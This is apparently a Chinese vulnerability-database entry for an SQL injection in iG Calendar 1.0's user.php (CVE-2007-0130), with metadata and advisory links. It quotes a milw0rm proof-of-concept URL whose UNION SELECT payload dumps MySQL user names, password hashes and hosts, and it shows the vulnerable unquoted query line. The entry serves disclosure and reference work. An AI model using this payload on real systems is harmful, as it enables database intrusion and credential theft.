iGeneric iG Calendar 'USER.PHP' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111952 漏洞类型 SQL注入
发布时间 2007-01-05 更新时间 2007-01-10
CVE编号 CVE-2007-0130 CNNVD-ID CNNVD-200701-074
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/3082
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-074
|漏洞详情
iGenericiGCalendar1.0版本的user.php中存在SQL注入漏洞。远程攻击者可以借助id参数,执行任意的SQL指令。
|漏洞EXP
SQL Injection in ig-Calendar.  This works regardless of magic_quotes_gpc!
Dumps mysql login informaion:
http://127.0.0.1/ig-calendar/user.php?id=999%20union%20select%201,User,Password,Host,File_priv,0%20from%20mysql.user
./user.php line 52:
$query = 'SELECT * FROM users WHERE id='.$id;
Should have used quote marks.

Vendor's page:http://www.igeneric.co.uk
download: http://www.igeneric.co.uk/files/ig-calendar-1.0.zip

By Michael Brooks.  

# milw0rm.com [2007-01-05]
|参考资料

来源:BID
名称:21873
链接:http://www.securityfocus.com/bid/21873
来源:MILW0RM
名称:3082
链接:http://www.milw0rm.com/exploits/3082
来源:VUPEN
名称:ADV-2007-0055
链接:http://www.frsirt.com/english/advisories/2007/0055
来源:SECUNIA
名称:23602
链接:http://secunia.com/advisories/23602
来源:OSVDB
名称:31678
链接:http://osvdb.org/31678
来源:XF
名称:igcalendar-user-sql-injection(31300)
链接:http://xforce.iss.net/xforce/xfdb/31300
来源:BUGTRAQ
名称:20070105IGCalendarSQLInjection
链接:http://www.securityfocus.com/archive/1/archive/1/456044/100/0/threaded
来源:MILW0RM
名称:3082
链接:http://milw0rm.com/exploits/3082